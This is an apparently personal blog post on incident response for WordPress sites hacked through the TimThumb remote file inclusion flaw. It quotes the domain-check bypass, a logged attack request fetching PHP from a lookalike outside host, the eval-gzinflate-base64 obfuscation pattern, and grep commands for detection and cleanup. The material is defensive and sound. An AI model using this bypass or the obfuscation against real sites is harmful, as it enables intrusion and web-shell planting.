I was reading through the show notes and the story about WordPress sites being compromised due to a timthumb vulnerability jumped right out at me. I recently finished doing some incident response on a number of sites compromised by this one. The vulnerability was initially reported by Mark Maunder, a user of WordPress and Timthumb. Mark has a pretty solid write up on how he found it and what the issue is on his site. Mark went further and did a rewrite of timthumb to deal with the issue and has gotten that merged into the timthumb code back in early August. So cheers to him for not only spotting the issue, but rewriting it to fixing it too.
To recap his post, the problem is that Timthumb allows you to remotely reference files, resize them and upload them to your site. (Anyone see the possible problem yet? Yay, remote file inclusion!)
Here was Mark’s analysis on how the vuln was used.
The default configuration of timthumb.php which many themes use allow files to be remotely loaded and resized from the following domains:
$allowedSites = array (
'flickr.com',
'picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
'upload.wikimedia.org',
'photobucket.com', );
The problem is the way the developer checks which domain he’s fetching from. He uses the PHP strpos function and if the domain string appears anywhere in the hostname, he’ll allow that file to be fetched.
So if you create a file on a web server like so: http://blogger.com.somebadhackersite.com/badscript.php and tell timthumb.php to fetch it, it merrily fetches the file and puts it in the cache directory ready for execution.
Source Article
And that’s pretty much what I saw on the sites I was dealing with. The remotely added php files I found did things like send spam and added a web based shell which was then used for other shenanigans.
To find what had been done on the server, I ended up spending lots of quality time with the log files. To look for signs of compromise I used the following command.
grep timthumb.php apace-access.log | grep -v "http://my.domain.com"
It still is a bit noisy with some other enties, but you quickly start finding log entries that look like this:
XX.XX.XX.XX - - [12/Dec/2011:09:11:45 -0600] "GET /wp-content/themes/awake/lib/scripts/timthumb.php?src=http://picasa.com.xpl.be/yahoo.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"
What I usually saw after a successful attack was a GET request to test the file that they placed in the cache directory was there and was working. At that point you’re owned.
So what next? Well, then your incident response plan takes affect. Chase back what IPs are abusing timthumb.php. What files did they access? Are there any PHP executing out of the cache directory in the theme?
One of the things I noticed was that the attackers were trying to “hide” what they were doing by gzipping the ASCII of their PHP code and then base64 encoding it. They’d then dump that into a PHP file and its contents looked something like this:
eval(gzinflate(base64_decode('BLOB OF ASCII')));
It makes it look very obscure at first glance, but fairly screams that something is wrong here. So one way to help chase down things like this is to this handy little command.
egrep -r "eval(gzinflate(base64_de" . --include=*.php
Basically a recursive grep that only opens up PHP files to look for our evil code. It doesn’t find everything, but I still found it very useful in this case.
Now for a few things to do to help fix the issue. If you can remove TimThumb the site, do it. I don’t like the idea of using a script which is designed to pull files from remote sites. If you can’t get away with removing it, then upgrade to the latest verstion of timthumb. Then you can disable the functionality which allows using remote files and configure your cache directory to never allow or execute PHP files.
